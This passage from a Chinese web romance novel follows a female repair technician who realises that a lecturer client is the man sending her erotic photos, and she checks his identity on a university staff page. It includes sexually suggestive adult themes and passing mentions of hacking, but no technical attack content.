两三秒后,李尤得出答案:她不想面对一个尤物看的见,吃不着,特别是今晚,那些动作,那些话,说什么“喜欢小尤,想要给小尤喂奶”“小尤,轻点”“小尤宝宝好乖,慢点喝,不要呛着”之类的骚话。
操不到真人,着实令她生气了。
李尤真是出于那种想法而生气。
她对别人不屑于掩饰,对自己更是,她很真实地面对自己对霍意的想法和欲/望。
早就想好好收拾他了。
这也是霍意今晚自找的,他做得太过火了。如果不是他能做到这种地步,李尤不会考虑见他。
“不见面就不聊了,没意思。”李尤说,这才是她深思熟虑后的威胁。
如果霍意在镜头前表现的腼腆和含蓄是真实的他,李尤还算了解霍意。
这样性格的男生太好拿捏。
李尤便用话语做陷阱,稍稍辅以冷肃的情绪鞭笞他,再用霍意的内耗画地为牢,男人就像被挟制住双翅的鸟雀,被李尤紧紧攥在手上。
李尤承认自己的想法恶劣,有pua男人的嫌疑,她一向如此。
小的时候,一家人吃晚饭,爸爸那会儿还有个工作,下了班晚上还要回来做晚饭,而妈妈坐在电视沙发前,她做完作业,趴在玩具垫上和妈妈玩飞行棋,爸爸就会在厨房抱怨。
不过,妈妈还是无动于衷,她会瞥一眼爸爸在厨房忙碌的声音,但装作看不见爸爸的抱怨。等到爸爸往餐桌上端出一盆盆菜肴后,妈妈再唤几声老公,搂一下爸爸的腰,亲一口就把他哄好。
李尤便学会权衡自己的欲/望。
想要什么,她会自主地拿,把主动权和分配权攥在自己手掌,总比交由给别人分蛋糕吃不饱的好。她把资源拿到手里后,她来帮其他人分配位置。
她相信自己,能够分配得公平公正。
李尤伸手要挂断电话,给霍意一段缓冲时间,如果霍意跟了她的话,连这点容忍度也没有,那也没有见面的必要。
话筒瞬间没了声。
李尤切断了语音通话,屋内陷入窒息的岑寂。
霍仪欲哭无泪,完全没了招,也没有多余时间思考,他还没说让他想想,小尤生气了。
苍天可鉴,他不是故意钓着小尤。
霍仪捧着手机,手忙脚乱给李尤回拨回去,好在李尤接通了语音,话筒里没声,她让霍意先说话。
霍仪道歉:“小尤,我没有不想见面。”
“嗯。”
“就是……”
“不用给我说你那些借口。一句话,见还是不见?”
霍仪闭了嘴:“那什么时候见面好?”
霍仪安抚自己,他没有不想和小尤见面,只是不想见面时小尤认为他欺骗了她,所以见面也可以吧?可是线下约会风险好大,万一小尤认出他是霍仪,觉得他故意接近,像个变态在她人生里扮演两个角色,仗着她不知晓“逗”她玩,小尤会不会更生气?天呐,有什么时间可以晚点见面?
霍仪想到最近在婚男圈看的帖子:“小尤,你什么时候过生日呢?”
“十月初。”
“那我们在你生日那天见面,怎么样?我想要……护肤一段时间,给你准备好生日礼物。你知道的,我……”霍仪欲言又止。
很好的借口,很适合他。
李尤同意了。
霍仪松了口气,心道:今晚总算过去了。
可李尤说:“小霍,还想看看。可以吗?”
“当然可以。小尤喜欢就好。”
霍仪心脏又悸动起来,他才洗完澡。
……
莹白水嫩的肌肤展露,霍仪褪下深蓝的丝质睡袍,挂在结实的大臂上,他垂下头赧着脸,说:“小尤不要看太久了,看完就早点睡觉。睡太晚对我们身体不好。”
“嗯。”李尤敷衍,压低分贝要求,“小霍,喘两声。”
-
翌日,夏朗带上工具,先去了客户家清洗空调,李尤随后才赶到。
他和李尤做单子,很少有早上李尤和他不同步的情况。
两人要么是提前十五分钟在客户小区门口碰头,要么在能吃早餐的地方见一面交换工具,对接今日的工作。
只有今日李尤先叫夏朗去到客户家。
夏朗第一次见李尤卡点抵达,想到昨晚是七夕,他心里很别扭。
该不会被那个发裸/照的男人缠得睡太晚,起不来吧。
尤姐体力耐力比他还强,手劲比他还大,这男人是魅魔转世吗?
当什么男友?一点都不懂得体谅要上班的尤姐,给她添麻烦。
李尤穿的黑T,要清洗空调,灰尘会浮散,她戴了一顶鸭舌帽,把头发裹紧包在鸭舌帽内,露出纤长的脖颈。
她进了门,夏朗跟在她身后。
他意外地眼尖,注意到李尤后颈的位置,有一块红色斑点。
很难不注意到。
夏朗烦躁地猜想:是那个男人造成的吧,故意留下痕迹,造成李尤的困扰,为了给自己示威?就因为昨晚李尤和他出去吃的烧烤,一点小事,他忮忌了吧。
夏朗翻了个白眼:男人的心眼好小,他和李尤只是同事关系。做男人不要太“性缘脑”,看谁都是暧昧关系,虽然他的确对尤姐很有好感。
可她们什么也没发生,不是吗?
李尤摸了摸后颈蚊子咬出的痒包,叫了声夏朗把洗袋装好。
-
中午,李尤和夏朗吃饭时,接到了宋老板的电话。
宋老板单刀直入问:“大忙人,最近忙什么呢?单子多到七夕都不来店里看小轩一眼?”
“忙工作,就这三个月旺季。单子多。”李尤夹了口菜,口吻疏离说。
“那下午有没有空?帮我看看洗手台的管道怎么堵了。水下不去。还有啊,大厅的灯我想换了,是不是接触不良了,总感觉没那么亮堂。”
一听是单子,李尤的态度好转:“下午有空,吃了饭我过来给你看,弄好了,老板你晚上好营业。”
“慢点吃,不着急。过来了在吧台后面的办公室找我。我带你去看位置。”宋老板心里念叨着小丫头,还是钱对你好使。
“有活么?”夏朗抬头问,“尤姐。是做什么?”
宋老板耳朵厉害,听出了陌生的年轻男声。
他趁李尤还没挂电话,便酸溜溜地说:“怎么旁边还有男人呀?难怪七夕节做活动打骨折都不肯来消费。有正宫上位了,就不要我们这些外面的野花野草了么?”
李尤蹙眉,“别这么说自己。什么野花野草,大家都是人。是同事。”
不难听出宋老板的意思,但熟客嘛,凡事留一线,日后好相见。宋老板在情感方面一股子小家子气,给钱却大方不麻烦事,李尤会尽量维系与客户的关系。
李尤说他不是野草,宋老板自觉代入上李尤看人不分高下,平等待人,他被尊重了,李尤从不拿歧视眼光看他们这些做男模的。
“那你要早点过来。”宋老板黏黏糊糊地用手指摩挲淡紫色的花衬衫,“我们好久没见面了”
李尤兀自挂掉电话。
夏朗睁着清澈的大眼看李尤,等待李尤安排下午的工作,李尤说:“去做个私活,我的一位熟客。”
-
望着玻璃门前贴着红底白字“禁止情/色/交易,卖/淫”和大号的“黄赌毒X”标志,夏朗尴尬地撇开脸。
没想到尤姐的客户有做这种生意的。
李尤望着会所无故出现的标志,皱了眉,以前是没有这些标志。
估计是宋老板又被查了。
李尤推开会所大门进入,洋甘菊的芬芳扑鼻,会所内很干净整洁,零星散落着几名年轻男生在沙发上玩手游。
他们见李尤来了,自觉去了休息室。
宋老板正对着吧台的镜子抹发油,见李尤进来,立即转了身。
夏朗见着那烧包男人V领开到肚脐眼的花衬衫,若有似无间玉牌似的雪白胸膛暴露,眉峰难以控制地抽搐。<
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宋老板也看着李尤身后跟着工装少年,一身黑,戴了个鸭舌帽,帽檐遮了大半的脸。可纵使这样,鼻梁高挺,下颌小巧,也能看出骨相颇佳的俊朗。
是个好苗子。身边跟了这么个好看的小男生,难怪李尤不来消费小轩了。
夏朗感受到宋老板的炽热目光射灯般打过来,装作无意摘下帽檐,露出清朗的一张脸,拿在手上抖了抖灰,再重新戴回头顶,压好鬓角。
夏朗对自己外貌很有自信,大学宿舍里好多哥们夸他长得帅,又可爱讨喜,想给他介绍女友,夏朗一一拒绝了。
他喜欢强大冷漠的姐系。
同龄人不适合他。
“哟,带新徒弟了,是个小帅哥。”宋老板上下扫视夏朗,生怕李尤听不出他的不满,冷呵着。
李尤没理会,提着工具包轻车熟路去了厨房。
她开了水,洗菜的陶瓷水盆很快蓄积出污黄的水液,李尤知道是这根水管堵了。
她看了下水管的走位,开始利用工具。
软钩子下到水管,很快水位便走下去了,李尤收回软钩子,发现钩子上面沾染了几丝嫣红的金鱼尾巴。李尤看到水槽旁边,宋老板盖了透明盖子的一个小鱼缸,有几块拇指大的金鱼飘逸着鱼尾晃荡。
“你这金鱼跳里面去了。”李尤说出堵的原因,“金鱼就不要放在洗槽台上了,不然下次还堵。”
宋老板摸着下巴深思,“怪不得少了一条,还以为哪个王八蛋给我喂死了一只。下次堵了,还叫你来呗。”
李尤公事公办:“灯怎么了?带我去看看。”
和夏朗装完灯。
宋老板抱着手臂冷看夏朗,丝毫不掩饰对年轻男生的敌意。
小轩本来今天在会所,可李尤要来,被宋老板支开了。
宋老板端详着夏朗的娃娃脸和猫儿眼,年轻男孩子长的是漂亮,白净清秀,眼珠像黑檀木般澄澈清亮,还有股工科男的直率和憨纯,跟他会所里的年轻男孩不撞型号。
“诶,怎么想起收个男徒弟啊?”宋老板问,“之前不是带的女孩么?”
李尤没透露太多:“她是兼职,有别的工作。”
“哦。你那年卡怎么办?”宋老板隐晦地含着笑问,他是存心让夏朗知道李尤是在他们会所消费了的。
“留着呗。有空就来玩。”李尤把绝缘手套摘了。
换灯是关了总闸一般意味着没电流的小活,大部分师傅是不用戴绝缘手套操作,没必要。
可李尤很谨慎,家庭电压也有220V,瓦数高的灯珠,电流也大,那电流打到人身上,也是容易致命的。
在不知道电路情况下,有可能会漏电。
谨慎总不会出错。
李尤爬下楼梯。
“会费还要留到哪天你才用完?干脆你点我几次算了。”宋老板欺身上前,像民国大户人家男仆伺候小姐般,要去接李尤的手套放好。
夏朗侧过身,闪在宋老板贴近的胸膛前,用手肘给烧包男人挡了回去。
“借过。老板,梯子我给你放回原处?”夏朗正色道。
他心想骂了宋老板好几句爹,没家教的男人,贴这么近快对尤姐构成性骚扰了。
尤姐挣点钱真辛苦,什么男人都在倒贴她。
见夏朗刻意捣乱,宋老板冷漠嗤声,转头,背着手叫李尤跟他去办公室结账。
他有的是办法和李尤单独相处。
李尤刚好想问宋老板点事。
二人去了办公室,夏朗连忙小跑搬着楼梯去安全通道存放,他不能让尤姐和那男的在一块!
李尤问了霍意的事。
宋老板不满:“怎么还念叨那男的,真迷上他了?不就陪了你一晚么?他做什么了?”
宋老板没说,霍仪做什么,他也可以做,霍仪那种风格他也可以摹仿,反正世界就是一个个巨大的菀菀类卿,他成为不了卿卿,他做菀菀,也与荣有焉。
“没有,就问问。他不是你员工么?你了解多少?”
“就是个做兼职,我就看了眼身份证,三围,了解他干嘛?你也甭上心了,给人家名字还念错了。不是四声,是二声。”
“?”李尤蹙眉。
“仪啊,单人一个义字,还说你是个大学生。字都认不全?”宋老板指头想点在李尤脑瓜上。
李尤闪开,沉云瞬间密布在脸庞。
仪?
意。
霍仪骗她。
宋老板被李尤的脸色唬住,讪讪地停手,暗怪自己怎么和她没大没小了。
微信扫码到账后,宋老板倚在推拉门前,念念不舍:“下次要来玩哦。”
李尤抿着唇走了。
夏朗听见,回头,趁李尤看不见,对着宋老板翻了个明晃晃的白眼,还往地上啐了口空气。
26.第 26 章
今年的秋雨来得格外迟,过于炎热,开校往后延迟了两次。
正式开学领教学任务前,霍仪随院长去了趟东京开会,避开了入秋前最热那几天秋老虎。在东京,霍仪为院长引荐了他的博导和师门里留校的师姐。
白天要应酬,傍晚去吃酒,夜深熬通宵做汇报PPT。
会议结束后,霍仪睡眠不足,补了整整一天的觉。
醒来的时间是下午七点,白日在冬至前还长,黄金落日挂在窗台最上角。可老小区的屋内不比高层公寓,光线被树荫挡着,沉到像生锈,给霍仪的房间,镀上一层昏天黑地的沉沦。
霍仪是很容易伤感的人,一点环境的变化便可触发他灵魂深处的忧愁。
他望着窗台,眨着扑簌簌的长睫毛,交叠在眼睑下,投出离愁别绪的阴影。
开会的这几日,他没有给福利的借口联系小尤,小尤也不会联系他。
好像他是小尤生活里的微不足道,小尤总是充实而快乐的忙碌,不像霍仪时而被深埋的腐烂所困扰。
霍仪感觉自己是窗沿被夏日晒久了根部坏死的仙人掌,孤零零地垂头,在沙砾中枯死着,而小尤是今日傍晚稀碎的金光,自在地弥漫天际,在一天的傍晚塑料膜般附着在他身上,对他眷顾。
可是,塑料膜和她包裹的小植物,再亲近,再肌肤相/亲,也隔着永远消弭不了的空气。
小尤也会在晚风到来前离开他。
霍仪坐在床上发懵,想起许久没再联系过母亲,他上次和霍襄英见面,还是霍襄英拿澳龙给他的盛夏。
手指放在拨通键上,霍仪最后还是放弃了。
霍仪很少和母亲聊自己的事,也不喜欢诉说他的压力和不舒服。
母亲霍襄英是个非常强悍的女人,和父亲离婚,独自承担经济压力养大了他。
她早年不容易,摆过摊,开过餐饮店,卖过保险,折腾了好些年。近十年才把事业做起来,现在手上主要经营着一家汽车下游配件厂,还在本省一家内衣零售连锁公司做总经理,有百来家店要管理。
每个人都有压力大的瞬间,霍仪并不想拿自己的小事烦扰母亲。
霍仪只好起来洗澡醒神,消散这种对幸福的钝感。
水龙头淋到一半,霍仪开始想李尤,今天是周末,小尤在做什么呢?是不是又和朋友在打乒乓?现在回家了吗?她们能看到同一片余晖吗?如果能和小尤欣赏同一轮圆月,也是件浪漫的事情。
水骤然变冷,霍仪兜头凉了个透顶。
他皱着眉峰,试了好几次开关,发现热水器点不燃。
有点倒霉。
头发上的泡沫还没冲洗干净。
霍仪的心情更低落。
倏地,沉闷又消失得无影无踪。
诶?他可以叫小尤上门维修了。
他可以在今天见到小尤了!
-
李尤正准备回家做饭了。
刚在停车场停车,准备给电瓶车充电,临时接到客户的微信消息。
是住在X大附近的富哥老师,他家热水器坏了。
鉴于富哥可能生活经验不多,李尤先叫客户检查热水器和天然气电池是否还有电,富哥替换备用的一号电池后,热水器依旧无法正常启动。
李尤拧开电瓶车钥匙上门,她住在附近,很快便可以赶到了客户家。
在浴室发完消息,霍仪把敞开胸肌的浴袍脱了,换上之前开会的正装。
穿浴袍的话,就算是假装临时出浴的勾引,在主顾和雇佣者之间,也是没有边界线的行为,更像是猥亵和性骚扰。
霍仪套上衬衫和西裤,又换上皮鞋,坐在沙发前等待李尤。
按理说,他可以随意穿个凉拖。但赤脚穿凉拖和他的衣服不太搭配,霍仪是个耻感很重的男人,他很在意在李尤心目中的形象,所以他还是换上了搭配好的得体皮鞋。
小尤应该会喜欢他这身打扮。
做李尤的福利哥久了,霍仪很了解李尤的XP。
门没有关,半开。
李尤还没敲门前,通过大开的门,看见明亮的客厅内,有个黑色西装革履的男人叉开腿,衬衫被袖扣高高挽起在大臂,手肘撑着膝盖骨,两只手掌交叠在一起支撑上半身。
男人刚好看了眼手腕上的机械碎钻腕表,处于沉默。
突然有种既视感袭击了李尤。
她曾经是不是见过富哥?富哥也是这样穿西装,腿长到得叉开腿坐在低矮的凳子上,他在等人,神情防御性强,像覆了层保鲜膜,疏离得与外界环境格格不入。
李尤停下了敲门的手,发出了动静。
霍仪站起身,向她笑了,那种熟悉感转瞬即逝。
“你来了。”
霍仪熟稔亲切的笑容,让李尤没抓住那段记忆。
富哥一开口,气质完全变了。
防御的疏离变为不善社交的局促,他睁着漆黑的瞳孔,可怜兮兮地说:
“我热水器坏了。洗到一半就没水了,我第一次遇到这种事。”
像在告热水器的状。
富哥头发还半湿地搭在额前。
李尤看着他的脸一怔。
他的下颌那里有颗痣。
李尤立即走去厨房外的阳台查看热水器,她检查了一番,把插头拔了,开始用电动螺丝刀起开螺丝,三两下拆了外壳,霍仪站在一旁,乖巧看李尤维修。
像只蹲坐仰头的杜宾。
李尤只花了一分钟不到,便给霍仪修好了。
触头松掉了,拧紧就好了。
火苗重新点燃,李尤用手随性挑开水龙头,她抿着唇无声地看着火焰燃烧。
热水出来后,李尤顺带洗了手收钱。
霍仪去拿手机,李尤也从兜里掏出手机,但她没有第一时间点开收款码,而是切到图库里,调出霍仪发给她的那些照片。有几张里面,霍仪不谨慎地露出了下颌角。
靠近右唇角,两指的距离,有颗痣。
小小的,比芝麻还小,在玉白的下巴镶嵌,无暇的玉上仅有的污点,在色素浅的男人身上格外显眼。
这颗痣,在霍仪给李尤喘的时候,她幻想着她舔过,咬在男人下巴微微嘟起的肉上。
叼起。
他在她牙齿下弱小猎物般颤抖。
李尤双指放大,霍仪塌腰,半屈膝盖去沙发一旁拿手机,李尤来回打量富哥。
她知道富哥的腰瘦削,纤细,盈手可握,有次富哥摔倒,她搂过。而他的臀部挺翘浑圆,是不知道的,她只知道给她发福利的霍仪腰臀比近乎媲美女生宽阔盆骨的S型曲线。
霍仪回头的瞬间,撞进李尤眼中。
他眨眨眼。
李尤目不转睛地盯着他看。
“怎么了?”霍仪不自信地摸摸鬓角。
是他什么地方不雅观么?没吹干的,头发太塌了,贴头发,像顺产发型么?显得头大?
霍仪睁大眼珠,疑惑地移动,反射性想拿出手机屏幕检验外貌。
李尤忽地说:“你头发上还有泡沫。”
霍仪松了口气,幸好不是觉得他丑丑的。
“嗯。没冲完,水停得太突然了,我穿好衣服就出来了。”
李尤微皱着眉收了钱,霍仪距离她更近。
之前富哥给钱也和她靠很近,她没看到他下颌角有颗痣。
如果有这么漂亮色/情的痣,她不会不记得。
“三十。”李尤说。
霍仪惊讶:“这么便宜?”
“嗯,日常价。”
“辛苦你了。”霍仪心疼,她在饭点饿着肚子跑来他家一趟,才挣三十,“不是有上门费吗?我给你。”
李尤拒绝:“不用。熟客都不用给上门费。你从平台叫我来维修才给上门费,那是平台抽走的。”
“好吧。”霍仪还是觉得李尤吃亏了。
一看手表,已经过了六点半,金黄的傍晚已被川流的车灯催促着离开。
正当饭点。
霍仪压制着兴奋说:“要不留下吃个晚饭?我刚要煮上,这不,多不好意思,麻烦你跑一趟。肯定耽搁你吃晚饭了。”
李尤本要拒绝,话到口中,她却一顿一顿,半是思索地点了头。
“那行。”霍仪抿下嘴角,尽量装成熟人与熟人的正常,“我马上开火。我也饿了。”
霍仪避嫌地说他也饿了,希望拉开社交距离,绝不是专门为李尤做晚饭,绝不是!
一切都是顺带的!顺带能和李尤吃个饭!
幸福晕了。
好想晕过去,他从没和小尤吃过温馨的晚饭哈哈哈哈哈哈哈哈——
李尤盯着霍仪转身,她用肉眼捕捉到了。
富哥好像很开心?
“你先把泡沫冲了。”李尤不自觉带命令地提醒,“头发擦干。”
-
李尤从不在客户家吃饭,除非是还没装修好的屋子,为了赶工,在没完工的水泥地上坐着吃个盒饭。
开餐厅的客户招待她们,可以理解,等同干大活包午饭。
接受客户的小恩小惠和坐在客户的餐桌上和客户一起吃饭,是两码事。
关系太近了。
李尤习惯把金钱雇佣和人际关系分离开。
她不应该接受,但她想到遇见富哥客户和她遇见霍仪好像是同个时间段。
富哥傻乎乎地抱着居家服去重新冲澡,李尤留了下来,坐在沙发上。
李尤不去评价客户懵懵憨憨的行为,也不会质疑他怎么成
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为大学老师,更不会胡乱评价他的教学水平。她没有太多视差之见,道德印象决定不了一个人的专业能力。
有些不爱收拾被子的生活笨蛋,是专心关注研究成果的天才。她们只是把消耗其他精力的时间花在了她们认为最值得关注的专业上。反正术业水平和生活技能,为人处事、道德水平等无强关联。
李尤看了下平台之前一月的客户信息,平台为了规避维修师傅查单和保护客户隐私,以及杜绝客户和维修人员私下沟通,客户的电话和名字都隐去了。
李尤只能看到订单号和维修事宜,以及付款金额。
在霍仪进屋前,李尤扫了眼霍仪的主卧和他的卫生间布局。由于壁式衣柜占据墙左侧的空间,灯会偏右一点,光线从右方来,阴影不平衡,左侧的阴影会深一些。
李尤面无表情滑动所有霍仪给她拍摄的视频和照片,神情逐渐冷漠。
霍仪出来后,径直去冰箱拿菜,他怕小尤等急了,嫌麻烦走掉。
家里有份和牛,有三个大番茄,霍仪问李尤:“吃辣么?做个麻辣番茄肥牛锅。”
麻辣是为本地人的李尤特制。这个城市的人吃白饭可以下辣椒。
李尤出神地点了下头。
很自然地,在想事,没空搭理霍仪似的。
霍仪也能接受,抽走冰箱旁的围裙,他利落地开始做饭。
反手在腰间绑上围裙带子时,霍仪心想:如果和小尤是情侣的话,小尤下班回家,进门看见他在厨房忙碌做饭的身影,会从他身后楼主他的腰,抱住他么?
她会给他系围裙么?系好之后,掰过他的脸,让他伸舌头给他一个深吻。
霍仪抑制不住笑容,眉眼像漫开的水纹,被挤在一堆地笑。
受不了!不要这样幻想啊!做梦也不能梦到飞往天上去啊!不行,感觉自己要长翅膀了!
谁一脚把他踹下天堂!
霍仪两个锅一齐开火,很快做好了两个菜,看上去很简约,不过也是给李尤秀了把霍仪十几分钟便可以做好饭菜的能力。
“这么快?”李尤觉得霍仪比她爸爸开火的速度还快。
“嗯。”霍仪把菜端上沙发前的茶几,摘下围裙,“米饭是我放在冷冻层冷冻过,冷冻后已经把淀粉结构解构了,点个电饭煲快煮,熟的很快。”
“学到了。”李尤说。
李尤是在毕业后才学会做饭。
“你很厉害。”李尤夸了一下,“看不出来,你条件这么好,还会做饭。”
霍仪要晕过去,自然理解成了李尤夸他长相条件好。
“也没有很好。我在日本留学时,经常一个人做饭,之前做得也一般,去了日本,吃不习惯,才锻炼出来的。”
霍仪咬着筷子和李尤聊家常,李尤坐在沙发,霍仪扯了个抱枕垫在臀部,盘腿坐在地上,这样李尤在高位,可以浅浅俯视他。
霍仪是故意的,他知道这种上下的坐位设置,李尤在陌生人的家才不会感到拘谨。
她应该会爽吧?
霍仪仰着头微笑着看李尤。
李尤刨着饭,突然觉得亮晶晶着眼眸,瞅她的富哥,很像讨好她的名贵犬。
还挺……可爱。
“吃菜。”霍仪用公筷夹了块蜷曲的和牛片,放在李尤碗里。
李尤礼貌说:“谢谢。”
两人吃饭,霍仪有一搭没一搭地和李尤聊家常,他问李尤的年龄,李尤毕业为什么想做维修,读的什么专业,是哪里的人。
李尤居然一一回答了。
霍仪简直不敢相信,他能从李尤口中听到她的私事。
他更了解李尤了。
原来小尤是跟妈妈姓的,是隔壁城市的人,家还很近。
能得知这些欣喜,他太哇塞了。
好想好想给小尤发个小熊捂脸哭泣的表情包,太感动了。
天呐,谁也不知道他今天经历了多大的惊喜。
霍仪和李尤同时吃完饭,霍仪并不想李尤尴尬。
李尤刚要拿碗去洗,霍仪立马制止了她,“我来吧。你快回家吧,天也晚了。回去早点休息吧,李师傅。这次多谢你了。真的很感谢你及时来帮助我。”
“我应该做的。”李尤没推辞,提上工具包。
霍仪将她送至玄关前,李尤望了眼霍仪的主卧。
她看到了霍仪主卧某个黑色遮罩下一米五高的三脚架腿和反光板。
李尤回家的第一件事,便是找出之前找经理打印的那份单时明细,上面还有对客户身份脱敏后的信息。
找到维修洗衣机和换灯只收了一次上门费的两单,李尤食指确认着行数,眉目认真地平移过去。
她指到了客户用*脱敏的姓名。
【霍*】
27.第 27 章
【霍*】
霍什么?
李尤想起富哥是老师。
她打开平常不怎么使用的台式电脑,开始在X大官网搜索在校老师。她是X大毕业的,对X大四五年不变的教务处界面过于熟悉,很快在搜索栏输入了关键字霍仪。
她不知道富哥的姓名,纯靠赌,赌他是霍仪。
网页跳转到计算机学院的新闻公告栏目,第一条是恭喜我院XX教授在国家自然科学基金重大项目立项取得突破,里面有霍仪两个字相关。
李尤不用多看了,往上找到顶部的导航栏,跳转去了师资队伍。
网页罗列出七八页的教授简介,李尤翻到第三页,找到了霍仪名字,点进去有霍仪所有的学术经历。
照片,邮箱,研究方向,X大的本研,早稻田的博士,在某国企工作站做博后的研究经历,后面由人才引进入校,目前有两个主研项目在手上。
最下面是详细的霍仪论文和博士期间的自然科学奖项。
他的论文方向全是英文书写,李尤看得懂单词,也不了解具体意思,目光移到最上方的霍仪头像。
一张淡蓝背景的证件照。
男人穿了正装,眉眼挺阔,额间正气凛然,端正肩背,半抿着薄唇看向镜头,和平时李尤在微信视频里看到他面色潮红,吐露粉色舌尖的模样截然相反。
李尤翻看手机内的露骨X照,会想:听他课的学生,知道他私下是怎样戴着面具对她发烧的么?知道他衬衫褪下的肌肤白腻,臀部翘挺丰腴到像捧了一手白雪么?知道他被控/射到受不了会哭着求她么?
那次在会所见面是偶然还是他蓄谋已久?学计算机的人对网络安全这块都很厉害吧,会hack数据库么?像宋湘说她大一入学就入侵到教务处的服务器,把服务搞挂了。所以对他来说,从员工系统拿到她的信息是很简单的事?
他会不会在她第一次上门后,就盯上她了,跟踪她去了会所,来故意接近她?
又或者两人无意撞见?宋老板的会所在X大附近的商场,靠近电影院,说不定霍仪是逛街探寻到有这么一处会所,想释放精英面孔下的某些心理隐疾去做兼职?
都有可能。
这么一想有太多巧合,在X大打球时,也遇见他过几次。
不排除他接近她,送福利有什么图谋的可能。
不过,看她不知道他的身份,偶尔装作客户来接近她,夜晚再把她迷的团团转,很好玩?她是他学术生活之外的消遣么?
还没有哪个男人把她当做消遣。
李尤托着下巴,紧皱着眉,点漆的黑瞳里旋转着无数问题,思绪芜杂且不爽快。
她指尖敲击脸颊,注视着熟悉的脸庞。
但比起脸庞,她更为熟悉男人的裸/露/身/躯。
-
九月中旬到九月底,李尤事情排得太满。
公司得到媒体宣传女性力量,有了点小名气后,经理不敢克扣她和老师的单量,给她们使绊子了。
单量逐渐攀升。
经济变差了,小区一层也会有小偷踩点,被摄像头光明正大地拍下来。不用新闻出来宣告,小区物业便自行贴了请住户注意财产安全和人身安全的告示。
大部分独居或者全女合租的女性也会更倾向选择女性师傅上门维修。
老师又带了两个新人女工。
李尤平时做活,还要抽空和中介看一下房源,而十月初的国庆,李尤也不能休息,要和夏朗以公司的名义去外省果果台录一个展示各行各业的素人综艺。
李尤以为节目组会来本省采集她们的职场生活,但并不是,与她们沟通的导演说素人综艺也会有剧本创作,再不然也会由导演去设置,总不可能平平淡淡没啥看点和起伏。
等李尤从外省回来,她还要抽时间随中介看房。
但她给中介的需求便是在她目前居住的附近找,这是根据她的工作而定,这片区客户她混熟了,路段也熟悉,方便顾客随叫随到。如果换个区居住,原来的熟客还继续找李尤,李尤赶过来的通勤时间久,还需要开辟新客户。
不方便。
索性就在家附近找,但是在这片区买房,就意味着李尤更多的选择是二手房,次新房,没有新开的楼盘给她看。
李尤也能接受,大不了买个便宜的老小区,重新装修。
她忙得脚不沾地,对霍仪愈发冷淡,也有晾着霍仪的意思。没到生日那天,见到霍仪真人,摸不清霍仪是为了什么接近她,她不会再多搭理霍仪。
李尤还心眼特别多地买了摄像头贴纸,换了张开网送的手机卡,平时跑单用那张卡的流量,又去问了宋湘怎么判断自己手机有没有被hack?或者通过她家WiFi对她进行信息劫持。
结果宋湘误会李尤担心现在的APP偷偷采集用户信息,宋湘回复她:有是有可能,虽然我不是做移动端的,但是有很多第三方平台或者一线互联网公司出的联盟私自采集,共享数据信息,就算你关闭其中一个应用进程,它们也有双进程保护,保证杀不死偷偷运行的进程。唉,老技术了。
李尤看得头大,又解释了一番。
宋湘反复在输入中,最后打出【小尤,你把我们代码搬运工想得太传神了,我哪有那能耐。不过你触及到我知识盲区了,等我去xx联盟混一个月再来给你解答。】
宋湘还是给了李尤一些建议,规避可能存在的追踪。
-
霍仪开始吃一些药,调理身体的激素平衡,连带着肌肤也像有了女朋友爱的滋润,变得莹润光泽。
论坛圈子里的男人还需要吃蛋白粉增重再局部塑形,增大胸肌,持续半年后才会可观到一定地步,壮硕好揉,蛊惑老婆。
霍仪不用。
他有先天的生理优势,是婚男口中的天赋异禀,人人羡慕的好苗子。瘦下来之前,他胸围就有一些脂肪堆积,后长期练背,塑成直角肩,拉长锁骨线条的同时,结实了他的大臂,胸肌那块自然形成了脂包肌。
以前他还很烦恼,自己胸大,很难减下来。
现在霍仪只会觉得还好没瘦下来,很幸运。
在李尤生日那天见面前,虽然李尤早已见过他的真面目,可那是脸面,身材不能一概而论
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。
霍仪每天会敷面膜,擦VCVA美白,烟酰胺美白,不适合他,毛发会激增。他会对着镜子检查他的肌块线条和BMI,体脂率和新陈代谢,确保身躯在一个健康又好看的范围内。
霍仪以为好日子要来了,但他想错了。
自从夏朗出现,李尤带了男徒弟,她对他愈发冷淡。
哪怕李尤去外省出差。
霍仪黏着她,给她发了挤胸导致乳白水液滴下的视频,李尤也没在当晚接通他的视讯邀请。
霍仪几乎是忍着要羞死的心,给李尤发一些他不敢直视的文字,最后再叮嘱李尤多注意身体。
【小尤去外省要好好吃饭,多喝热水,出差别太累了。听说那边又有流感了。】
李尤看着霍仪前面两句话,想要了?想被咬?想被含着胸止痒?
她蹙眉,没搭理他,他反而烧得变本加厉了。
李尤打字回复:【你真的想在那天变得很惨?说不定我不会让你回家。】
霍仪又安下心,小尤总会无意识流露S的那一面。
不让他回家,那就陪着小尤呗,只要她高兴就可以了。她高兴,他也会开心。
而且总归小尤还是想见他,对他感兴趣,就算身边有什么年轻的男徒弟陪又怎样,男徒弟始终隔着层师生的纱,年轻男孩能做到他这种地步么?他有钱么?他可以在婚后给到李尤事业的支持么?他懂得如何让李尤在床榻间快乐心悸么?
他能带给李尤极致的享受,事事以李尤为主,其他男人有这种觉悟么?
霍仪无比庆幸,他的学习能力快,让他先一步站在了李尤的身旁。
李尤的生日很快到来了。
刚过前夜十二点,霍仪便发送了【生日快乐】的表情包。
可霍仪等待了很久,李尤没有回复他。
霍仪只能安慰自己,她太累了。她是个讲究时间准则的人,会在凌晨前睡觉是她的习惯。
她没有义务为任何人打破她的习惯。
早上七点,李尤醒来,一一回复了家人朋友和霍仪的祝贺消息。
昨晚睡得很早。
霍仪是把李尤设置为了特别关注且消息顶置,李尤的名字前有个小铃铛,她的消息铃音也是特殊的,便于霍仪随时回复,不会错过。
霍仪这晚的睡眠很浅,深夜反复醒了四五次,每次醒来,霍仪都会清醒地点开手机,查看李尤有无回复他的消息。
当然会失望,不过也合情合理。
霍仪六点四十五便睡不着了,听着小区内锅碗瓢盆做早餐的击打声,还有老太老头起床晨练的说话声,霍仪想睡可整个人的神经处于一种异常的兴奋中。
还有几个小时,便和小尤见面,他怎么睡得着?太要命了,脑子里全是他和小尤见面的场景,到时候身份揭晓,他一定会紧张到手指颤抖,说不出来话。
现在他就想爬起床打开衣柜看自己穿哪套西装模样俊一点,给自己加码,好好向小尤道歉,讨好她,不让她生气。
手机铃音响了,霍仪翻身精准地捉住手机。
是小尤发来信息了!
28.第 28 章
【你是处男么?】
滑屏之后,弹出的消息从尾椎的引线唰地擦过,点燃霍仪的血液,他脸蛋酡红到像浸泡在酒缸一夜。
旋即,霍仪又委屈到通红了眼尾。
什么意思啊?他不是处男,还能是什么!
小尤误会他是那种爱玩的男生了。
【我是。我肯定是。我单身三十年了。】
霍仪快哭了。
